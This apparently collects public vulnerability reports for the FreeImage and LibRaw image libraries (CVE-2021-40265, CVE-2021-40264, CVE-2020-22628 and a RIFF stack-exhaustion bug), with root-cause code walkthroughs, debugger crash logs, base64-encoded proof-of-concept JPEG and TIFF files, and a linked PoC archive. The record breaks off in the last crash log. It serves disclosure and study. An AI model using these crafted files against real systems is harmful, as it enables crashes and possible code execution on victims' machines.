static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
    if (handle) {
......
        struct jpeg\_decompress\_struct cinfo;
......
            // step 3: read handle parameters with jpeg\_read\_header()

            jpeg\_read\_header(&cinfo, TRUE);                //<---- read components from file
......
            if((cinfo.output\_components \== 4) && (cinfo.out\_color\_space \== JCS\_CMYK)) {
......
            } else {
                // RGB or greyscale image              v------------ alloc memory function
                dib \= FreeImage\_AllocateHeader(header\_only, cinfo.output\_width, cinfo.output\_height, 8 \* cinfo.output\_components, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
            }
......
            if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) != JPEG\_CMYK)) {
......
            } else if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) \== JPEG\_CMYK)) {
......
            } else {
                // normal case (RGB or greyscale image)

                while (cinfo.output\_scanline < cinfo.output\_height) {
                    JSAMPROW dst \= FreeImage\_GetScanLine(dib, cinfo.output\_height \- cinfo.output\_scanline \- 1);

                    jpeg\_read\_scanlines(&cinfo, &dst, 1);       // <---------- write memory
                }

                // step 7b: swap red and blue components (see LibJPEG/jmorecfg.h: #define RGB\_RED, ...)
                // The default behavior of the JPEG library is kept "as is" because LibTIFF uses 
                // LibJPEG "as is".
......
    }

    return NULL;
}

FreeImage\_AllocateHeader() alloc memory by "output\_components", but FreeImage\_AllocateHeader function maybe replace default size with it.

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
.......
    // check pixel bit depth
    switch(type) {
        case FIT\_BITMAP:
            switch(bpp) {
                case 1:
                case 4:
                case 8:
                    break;
                case 16:
                    need\_masks \= TRUE;
                    break;
                case 24:
                case 32:
                    break;
                default:
                    bpp \= 8;                                                                    //<---- change bpp there
                    break;
            }
            break;
.......
        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);          //<\---- calc alloc size by bpp(num\_components)

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap-\>data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);                       //<\---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t 
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
    size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
    if(!header\_only) {
        const size\_t header\_size \= dib\_size;

        // pixels are aligned on a 16 bytes boundary
        dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<---alloc size by line lenght \* height, line lenght calc by width and bpp(num\_components)
......
    }

    return dib\_size;
}

but when we use jpeg\_read\_scanlines, the read size calc by "num\_components", usually equal "output\_components".

METHODDEF(void)
null\_convert (j\_decompress\_ptr cinfo,
          JSAMPIMAGE input\_buf, JDIMENSION input\_row,
          JSAMPARRAY output\_buf, int num\_rows)
{
  register JSAMPROW outptr;
  register JSAMPROW inptr;
  register JDIMENSION count;
  register int num\_comps \= cinfo\->num\_components;
  JDIMENSION num\_cols \= cinfo\->output\_width;
  int ci;

  while (\--num\_rows \>= 0) {
    /\* It seems fastest to make a separate pass for each component. \*/
    for (ci \= 0; ci < num\_comps; ci++) {
      inptr \= input\_buf\[ci\]\[input\_row\];
      outptr \= output\_buf\[0\] + ci;
      for (count \= num\_cols; count \> 0; count\--) {
    \*outptr \= \*inptr++; /\* don't need GETJSAMPLE() here \*/        //<---- copy size calc by width(output\_width) and bpp(num\_components)
    outptr += num\_comps;
      }
    }
    input\_row++;
    output\_buf++;
  }
}

callstack

FreeImage.dll!null\_convert(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int input\_row, unsigned char \* \* output\_buf, int num\_rows)
FreeImage.dll!sep\_upsample(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int \* in\_row\_group\_ctr, unsigned int in\_row\_groups\_avail, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!process\_data\_simple\_main(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!jpeg\_read\_scanlines(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* scanlines, unsigned int max\_lines)
FreeImage.dll!Load(FreeImageIO \* io, void \* handle, int page, int flags, void \* data)
FreeImage.dll!FreeImage\_LoadFromHandle(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle, int flags)
FreeImage.dll!FreeImage\_Load(FREE\_IMAGE\_FORMAT fif, const char \* filename, int flags)

Finally, it will cause the heap overflow if we make the "components" not in \[1, 2, 3\]. Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(5cb0.349c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=608e0000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0133f5c8 ebp\=0133f5f4 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(5cb0.349c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=08539007 ebx\=00000009 ecx\=00000880 edx\=073590c8 esi\=00000721 edi\=00000000
eip\=1009aec5 esp\=0133f6cc ebp\=00000000 iopl\=0         nv up ei pl nz na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010206
FreeImage!jinit\_color\_deconverter+0x935:
1009aec5 8808            mov     byte ptr \[eax\],cl          ds:002b:08539007\=??
0:000\> db eax\-0x20
08538fe7  00 00 00 00 00 80 00 00-00 c0 c0 c0 c0 c0 80 c0  ................
08538ff7  c0 c0 c0 c0 d0 d0 d0 80\-d0 ?? ?? ?? ?? ?? ?? ??  .........???????
08539007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539027  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539037  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539047  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539057  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 0133f6d8 1009a383     00000808 073536cc 00000000 FreeImage!jinit\_color\_deconverter+0x935 (FPO: \[Uses EBP\] \[5,0,1\])
01 0133f704 100991d3     073536c0 07354fe0 07355008 FreeImage!jinit\_upsampler+0x263 (FPO: \[Uses EBP\] \[7,1,4\])
02 0133f734 10085bfa     0133f830 0133fa18 0133f754 FreeImage!jinit\_d\_main\_controller+0x1f3 (FPO: \[Uses EBP\] \[4,0,4\])
03 0133f74c 1002283f     00000000 0133fa18 00000001 FreeImage!jpeg\_read\_scanlines+0x8a (FPO: \[3,0,1\])
04 0133fa48 1000d9de     0133fa9c 07339fc8 ffffffff FreeImage!jpeg\_freeimage\_dst+0x1b1f (FPO: \[5,183,3\])
05 0133fa7c 1000da60     00000002 0133fa9c 07339fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
06 0133faa8 00b0107b     00000002 07335fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/jpeg;base64,/9j/2wADAP/KACMICAgICAkBETLvESEDESH/QSF5IgAxETExFDExIjExETEx/9oACAF5AAAAAA\==

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

NULL pointer dereference vulnerability in FreeImage before 1.18.0 via the FreeImage_CloneTag function inFreeImageTag.cpp.

> tl;dr:  
> When Load TIFF format files, field "StripOffsets" is read from file. If the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy().

When the program Open a TIFF format file, it will be handed to the "TIFFFdOpen()" function of the 'PluginTIFF.cpp' file,  
in "TIFFFdOpen()" functions, it call "TIFFReadDirectory()" function, and it use "hack" code. So field "StripOffsets" will set nullptr sometimes.

int
TIFFReadDirectory(TIFF\* tif){
......
        if ((tif->tif\_dir.td\_compression==COMPRESSION\_OJPEG) &&
            (isTiled(tif)==0) &&
            (tif->tif\_dir.td\_nstrips==1)) {
            /\*
             \* XXX: OJPEG hack.
             \* If a) compression is OJPEG, b) it's not a tiled TIFF,
             \* and c) the number of strips is 1,
             \* then we tolerate the absence of stripoffsets tag,
             \* because, presumably, all required data is in the
             \* JpegInterchangeFormat stream.
             \*/
            TIFFSetFieldBit(tif, FIELD\_STRIPOFFSETS);
......
}

When we Load a TIFF format file, it will be handed to the "Load()" function of the 'PluginTIFF.cpp' file, it will call FreeImage\_CloneTag() with tag 'StripOffsets' finally.

FITAG \* DLL\_CALLCONV 
FreeImage\_CloneTag(FITAG \*tag) {
    if(!tag) return NULL;

    // allocate a new tag
    FITAG \*clone \= FreeImage\_CreateTag();
    if(!clone) return NULL;

    try {
        // copy the tag
        FITAGHEADER \*src\_tag \= (FITAGHEADER \*)tag\->data;
        FITAGHEADER \*dst\_tag \= (FITAGHEADER \*)clone\->data;

        // tag ID
        dst\_tag\->id \= src\_tag\->id;
        // tag key
        if(src\_tag\->key) {
            dst\_tag\->key \= (char\*)malloc((strlen(src\_tag\->key) + 1) \* sizeof(char));
            if(!dst\_tag\->key) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->key, src\_tag\->key);
        }
        // tag description
        if(src\_tag\->description) {
            dst\_tag\->description \= (char\*)malloc((strlen(src\_tag\->description) + 1) \* sizeof(char));
            if(!dst\_tag\->description) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->description, src\_tag\->description);
        }
        // tag data type
        dst\_tag\->type \= src\_tag\->type;
        // tag count
        dst\_tag\->count \= src\_tag\->count;
        // tag length
        dst\_tag\->length \= src\_tag\->length;
        // tag value
        switch(dst\_tag\->type) {
            case FIDT\_ASCII:
                dst\_tag\->value \= (BYTE\*)malloc((src\_tag\->length + 1) \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);
                ((BYTE\*)dst\_tag\->value)\[src\_tag\->length\] \= 0;
                break;
            default:
                dst\_tag\->value \= (BYTE\*)malloc(src\_tag\->length \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);                    //<---- src\_tag\->value \= nullptr
                break;
        }

        return clone;

    } catch(const char \*message) {
        FreeImage\_DeleteTag(clone);
        FreeImage\_OutputMessageProc(FIF\_UNKNOWN, message);
        return NULL;
    }
}

So if the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy(). It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8558.62d4): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=cbc20000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=00aff42c ebp\=00aff458 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8558.62d4): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000008 ebx\=06a8bff8 ecx\=00000002 edx\=00000008 esi\=00000000 edi\=0fd44ff8
eip\=102a6e77 esp\=00aff500 ebp\=00aff54c iopl\=0         nv up ei pl nz ac po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010212
FreeImage!memcpy+0x507:
102a6e77 8b16            mov     edx,dword ptr \[esi\]  ds:002b:00000000\=????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 00aff504 1006577c     0fd44ff8 00000000 00000008 FreeImage!memcpy+0x507 (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 657\] 
01 00aff54c 10003dd0     0fd3efe8 00000001 0fd32ff8 FreeImage!FreeImage\_CloneTag+0x13c
02 00aff590 1006ba21     00000001 06a87ff8 0fd36ff0 FreeImage!FreeImage\_SetMetadata+0x3c0
03 00aff5d8 1006bb17     06a87ff8 1006bccd 06a87ff8 FreeImage!tiff\_read\_geotiff\_profile+0xa91 (FPO: \[Uses EBP\] \[2,11,4\])
04 00aff634 100356a2     06a87ff8 06a63c88 00aff900 FreeImage!tiff\_read\_exif\_tags+0x47
05 00aff664 10036c8b     06a63c88 06a87ff8 06a52fc8 FreeImage!\_TIFFmemcmp+0xae2
06 00aff8ac 1000d9de     00aff900 06a52fc8 105f0700 FreeImage!\_TIFFmemcmp+0x20cb (FPO: \[5,139,3\])
07 00aff8e0 1000da60     00000012 00aff900 06a52fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
08 00aff90c 00b0107b     00000012 06a4efee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAFAAABAwABAAAAMDAAAAEBAwABAAAAMDAAAAMBAwABAAAABgAAAAYBAwABAAAAAAAAAB4ABAAMAAAABAAAAAAAAAAAAAAAAAA\=

CVE-2021-40264: FreeImage / Bugs / #335 A NULL pointer dereference exists in function FreeImage_CloneTag() located in PluginTIFF.cpp

Buffer Overflow vulnerability in LibRaw::stretch() function in libraw\src\postprocessing\aspect_ratio.cpp.

**Description**

An out-of-bounds read vulnerability exists within the "LibRaw::stretch()" function (libraw\\src\\postprocessing\\aspect\_ratio.cpp) when parsing a crafted CRW file.

**Steps to Reproduce**

(poc archive password= girlelecta):  
https://drive.google.com/open?id=1Y70DxvWYfsNS7DBu4cuoUVOoMOyheA8O

cmd:  
magick.exe convert poc.crw new.png

Upon running this, following crash happens (Note: I enabled page heap on magick.exe):

Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64  
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\\Program Files\\ImageMagick-7.0.9-Q16\\magick.exe" convert E:\\Workspace\\poc.crw E:\\Workspace\\new.png

\*\*\*\*\*\*\*\*\*\*\*\*\* Path validation summary \*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Symbol search path is: srv\*  
Executable search path is:  
ModLoad: 00007ff7 93fc0000 00007ff7 93fcc000 image00007ff7 93fc0000  
ModLoad: 00007ff8 87ea0000 00007ff8 88090000 ntdll.dll  
ModLoad: 00007ff8 70fb0000 00007ff8 71021000 C:\\WINDOWS\\System32\\verifier.dll  
Page heap: pid 0x2ADC: page heap enabled with flags 0x3.  
ModLoad: 00007ff8 87bb0000 00007ff8 87c62000 C:\\WINDOWS\\System32\\KERNEL32.DLL  
ModLoad: 00007ff8 85820000 00007ff8 85ac3000 C:\\WINDOWS\\System32\\KERNELBASE.dll  
ModLoad: 00007ff8 6e630000 00007ff8 6e808000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickCore\_.dll  
ModLoad: 00007ff8 6e550000 00007ff8 6e629000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickWand\_.dll  
ModLoad: 00007ff8 6e460000 00007ff8 6e54f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 000002c7 22170000 000002c7 2225f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 00007ff8 74a90000 00007ff8 74ab2000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\VCOMP120.DLL  
ModLoad: 00007ff8 876f0000 00007ff8 87884000 C:\\WINDOWS\\System32\\USER32.dll  
ModLoad: 00007ff8 85e80000 00007ff8 85ea1000 C:\\WINDOWS\\System32\\win32u.dll  
ModLoad: 00007ff8 862f0000 00007ff8 86316000 C:\\WINDOWS\\System32\\GDI32.dll  
ModLoad: 00007ff8 855b0000 00007ff8 85744000 C:\\WINDOWS\\System32\\gdi32full.dll  
ModLoad: 00007ff8 85eb0000 00007ff8 85f4e000 C:\\WINDOWS\\System32\\msvcp\_win.dll  
ModLoad: 00007ff8 87c70000 00007ff8 87d13000 C:\\WINDOWS\\System32\\ADVAPI32.dll  
ModLoad: 00007ff8 86680000 00007ff8 8671e000 C:\\WINDOWS\\System32\\msvcrt.dll  
ModLoad: 00007ff8 861f0000 00007ff8 86287000 C:\\WINDOWS\\System32\\sechost.dll  
ModLoad: 00007ff8 85ad0000 00007ff8 85bca000 C:\\WINDOWS\\System32\\ucrtbase.dll  
ModLoad: 00007ff8 87d40000 00007ff8 87e60000 C:\\WINDOWS\\System32\\RPCRT4.dll  
ModLoad: 00007ff8 74f30000 00007ff8 74f44000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_bzlib\_.dll  
ModLoad: 00007ff8 86600000 00007ff8 8666f000 C:\\WINDOWS\\System32\\WS2\_32.dll  
ModLoad: 00007ff8 6e400000 00007ff8 6e456000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lcms\_.dll  
ModLoad: 00007ff8 6e360000 00007ff8 6e400000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_freetype\_.dll  
ModLoad: 00007ff8 73500000 00007ff8 73513000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lqr\_.dll  
ModLoad: 00007ff8 73000000 00007ff8 73018000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_zlib\_.dll  
ModLoad: 00007ff8 6e100000 00007ff8 6e355000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_glib\_.dll  
ModLoad: 00007ff8 86720000 00007ff8 86e05000 C:\\WINDOWS\\System32\\SHELL32.dll  
ModLoad: 00007ff8 857d0000 00007ff8 8581a000 C:\\WINDOWS\\System32\\cfgmgr32.dll  
ModLoad: 00007ff8 85f50000 00007ff8 85ff9000 C:\\WINDOWS\\System32\\shcore.dll  
ModLoad: 00007ff8 86e10000 00007ff8 87146000 C:\\WINDOWS\\System32\\combase.dll  
ModLoad: 00007ff8 85d20000 00007ff8 85da0000 C:\\WINDOWS\\System32\\bcryptPrimitives.dll  
ModLoad: 00007ff8 84e30000 00007ff8 855af000 C:\\WINDOWS\\System32\\windows.storage.dll  
ModLoad: 00007ff8 84e10000 00007ff8 84e2f000 C:\\WINDOWS\\System32\\profapi.dll  
ModLoad: 00007ff8 84d80000 00007ff8 84dca000 C:\\WINDOWS\\System32\\powrprof.dll  
ModLoad: 00007ff8 84d70000 00007ff8 84d80000 C:\\WINDOWS\\System32\\UMPDC.dll  
ModLoad: 00007ff8 87910000 00007ff8 87962000 C:\\WINDOWS\\System32\\shlwapi.dll  
ModLoad: 00007ff8 84dd0000 00007ff8 84de1000 C:\\WINDOWS\\System32\\kernel.appcore.dll  
ModLoad: 00007ff8 857b0000 00007ff8 857c7000 C:\\WINDOWS\\System32\\cryptsp.dll  
ModLoad: 00007ff8 87a50000 00007ff8 87ba6000 C:\\WINDOWS\\System32\\ole32.dll  
ModLoad: 00007ff8 842f0000 00007ff8 8432a000 C:\\WINDOWS\\SYSTEM32\\IPHLPAPI.DLL  
ModLoad: 00007ff8 84330000 00007ff8 843fa000 C:\\WINDOWS\\SYSTEM32\\DNSAPI.dll  
ModLoad: 00007ff8 87900000 00007ff8 87908000 C:\\WINDOWS\\System32\\NSI.dll  
ModLoad: 00007ff8 6e090000 00007ff8 6e0f8000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libxml\_.dll  
(2adc.2ae0): Break instruction exception - code 80000003 (first chance)  
ntdll!LdrInitShimEngineDynamic+0x35c:  
00007ff8 87f7121c cc int 3  
0:000> g  
ModLoad: 00007ff8 86000000 00007ff8 8602e000 C:\\WINDOWS\\System32\\IMM32.DLL  
ModLoad: 00007ff8 77200000 00007ff8 7720a000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\modules\\coders\\IM\_MOD\_RL\_DNG\_.dll  
ModLoad: 00007ff8 5fe70000 00007ff8 5ff74000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libraw\_.dll  
ModLoad: 00007ff8 6df60000 00007ff8 6e006000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCP120.dll  
(2adc.2ae0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
CORE\_RL\_libraw\_!LibRaw::stretch+0x17d:  
00007ff8 5febc7ed 430fb70402 movzx eax,word ptr \[r10+r8\] ds:000002c7 284ac5c0=????  
0:000> k  
Child-SP RetAddr Call Site  
00 000000e1 ef2f3af0 00007ff8 5fedb222 CORE\_RL\_libraw\_!LibRaw::stretch+0x17d  
01 000000e1 ef2f3b70 00007ff8 772016b4 CORE\_RL\_libraw\_!LibRaw::dcraw\_process+0x562  
02 000000e1 ef2f3be0 00007ff8 6e6704ac IM\_MOD\_RL\_DNG\_+0x16b4  
03 000000e1 ef2f5c70 00007ff8 6e670fbc CORE\_RL\_MagickCore\_!ReadImage+0x47c  
04 000000e1 ef2fadc0 00007ff8 6e569636 CORE\_RL\_MagickCore\_!ReadImages+0x1ac  
05 000000e1 ef2fbe40 00007ff8 6e5ac907 CORE\_RL\_MagickWand\_!ConvertImageCommand+0x566  
06 000000e1 ef2fd760 00007ff7 93fc130b CORE\_RL\_MagickWand\_!MagickCommandGenesis+0x5a7  
07 000000e1 ef2fe920 00007ff7 93fc13ec image00007ff7\_93fc0000+0x130b  
08 000000e1 ef2ffb30 00007ff7 93fc1783 image00007ff7\_93fc0000+0x13ec  
09 000000e1 ef2ffb60 00007ff8 87bc7bd4 image00007ff7\_93fc0000+0x1783  
0a 000000e1 ef2ffb90 00007ff8 87f0ced1 KERNEL32!BaseThreadInitThunk+0x14  
0b 000000e1 ef2ffbc0 00000000 00000000 ntdll!RtlUserThreadStart+0x21

**System Configuration**

*   ImageMagick:  
    Version: ImageMagick-7.0.9-Q16 https://imagemagick.org  
    License: https://imagemagick.org/script/license.php
*   Environment (Operating system, version and so on):  
    Distributor ID: Microsoft Windows  
    Description: Windows 10

CVE-2020-22628: "LibRaw::stretch()" Out-of-bounds read vulnerability · Issue #269 · LibRaw/LibRaw

A stack exhaustion issue was discovered in FreeImage before 1.18.0 via the Validate function in PluginRAW.cpp.

> tl;dr:  
> When Load RIFF format files, "size" is read from file. FreeImage seek file pos by "size", and function Validate will call LibRaw::open\_datastream with LibRaw\_freeimage\_datastream, it will call to LibRaw::parse\_riff. If "size" is a negative number(>0x7ffffffff), FreeImage will call LibRaw::parse\_riff function by itself, it eventually causing the stack to be filled.

When the program reads a RIFF format file, it will call to the Validate function of the 'PluginRAW.cpp' file , to validata format.

In Validate function, it will use LibRaw\_freeimage\_datastream to call LibRaw::open\_datastream

static BOOL DLL\_CALLCONV
Validate(FreeImageIO \*io, fi\_handle handle) {           //<---- io is LibRaw\_freeimage\_datastream
......
    // no magic signature : we need to open the file (it will take more time to identify it)
    // do not declare RawProcessor on the stack as it may be huge (300 KB)
    {
        LibRaw \*RawProcessor \= new(std::nothrow) LibRaw;

        if(RawProcessor) {
            BOOL bSuccess \= TRUE;

            // wrap the input datastream
            LibRaw\_freeimage\_datastream datastream(io, handle);

            // open the datastream
            if(RawProcessor->open\_datastream(&datastream) != LIBRAW\_SUCCESS) {     //<---- call LibRaw::open\_datastream
                bSuccess \= FALSE;   // LibRaw : failed to open input stream (unknown format)
            }

            // clean-up internal memory allocations
            RawProcessor-\>recycle();
            delete RawProcessor;

            return bSuccess;
        }
    }

    return FALSE;
}

And will call to LibRaw::parse\_riff function if file start with "RIFF".

FreeImaged.dll!LibRaw::parse\_riff()
FreeImaged.dll!LibRaw::identify()
FreeImaged.dll!LibRaw::open\_datastream(LibRaw\_abstract\_datastream \* stream)
FreeImaged.dll!Validate(FreeImageIO \* io, void \* handle)
FreeImaged.dll!FreeImage\_ValidateFIF(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle)
FreeImaged.dll!FreeImage\_GetFileTypeFromHandle(FreeImageIO \* io, void \* handle, int size)
FreeImaged.dll!FreeImage\_GetFileType(const char \* filename, int size)

In LibRaw::parse\_riff function, it call itslef by variable "tag". And the "tag" is read from file.

void LibRaw::parse\_riff()
{
  unsigned i, size, end;
  char tag\[4\], date\[64\], month\[64\];
  static const char mon\[12\]\[4\] \= {"Jan", "Feb", "Mar", "Apr", "May", "Jun",
                                  "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"};
  struct tm t;

  order \= 0x4949;
  fread(tag, 4, 1, ifp);
  size \= get4();                                //<---- size read from file
  end \= ftell(ifp) + size;
  if (!memcmp(tag, "RIFF", 4) || !memcmp(tag, "LIST", 4))
  {
    int maxloop \= 1000;
    get4();
    while (ftell(ifp) + 7 < end && !feof(ifp) && maxloop\--)
      parse\_riff();                             //<---- call itself
  }
.......
  }
  else
    fseek(ifp, size, SEEK\_CUR);                 //<---- seek pos by size
}

function get4() just read four bytes.

unsigned LibRaw::get4()
{
  uchar str\[4\] \= {0xff, 0xff, 0xff, 0xff};
  fread(str, 1, 4, ifp);
  return sget4(str);
}

\_\_int64 is file default variable type at LibRaw\_bigfile\_buffered\_datastream in "libraw\_datastream.h"

class DllDef LibRaw\_bigfile\_buffered\_datastream : public LibRaw\_abstract\_datastream
{
public:
......
    virtual INT64 tell();
    virtual INT64 size() { return \_fsize; }
......
protected:
    INT64   readAt(void \*ptr, size\_t size, INT64 off);
......
    INT64 \_fsize;
    INT64 \_fpos; /\* current file position; current buffer start position \*/
......
};

But long is file default variable type at "LibRaw\_freeimage\_datastream" in FreeImageIO.cpp

unsigned DLL\_CALLCONV 
\_ReadProc(void \*buffer, unsigned size, unsigned count, fi\_handle handle) {
    return (unsigned)fread(buffer, size, count, (FILE \*)handle);
}

unsigned DLL\_CALLCONV 
\_WriteProc(void \*buffer, unsigned size, unsigned count, fi\_handle handle) {
    return (unsigned)fwrite(buffer, size, count, (FILE \*)handle);
}

int DLL\_CALLCONV
\_SeekProc(fi\_handle handle, long offset, int origin) {
    return fseek((FILE \*)handle, offset, origin);
}

long DLL\_CALLCONV
\_TellProc(fi\_handle handle) {
    return ftell((FILE \*)handle);
}

So if we let "size" to a negative number, the the file cursor pos could go back to begining of function.  
LibRaw::parse\_riff will call function by itself, it eventually causing the stack to be filled. An attacker can reach a remote denial of service attack by sending a specially constructed file.

windbg:

ModLoad: 00000001\`80000000 00000001\`80a65000   D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Dist\\x64\\FreeImaged.dll
ModLoad: 00007ffa\`f4430000 00007ffa\`f44bd000   C:\\Windows\\SYSTEM32\\MSVCP140.dll
ModLoad: 00007ffb\`5eda0000 00007ffb\`5edac000   C:\\Windows\\SYSTEM32\\VCRUNTIME140\_1.dll
ModLoad: 00007ffb\`7de50000 00007ffb\`7debb000   C:\\Windows\\System32\\WS2\_32.dll
ModLoad: 00007ffb\`69a60000 00007ffb\`69a7b000   C:\\Windows\\SYSTEM32\\VCRUNTIME140.dll
ModLoad: 00007ffb\`39170000 00007ffb\`391a7000   C:\\Windows\\SYSTEM32\\VCOMP140D.DLL
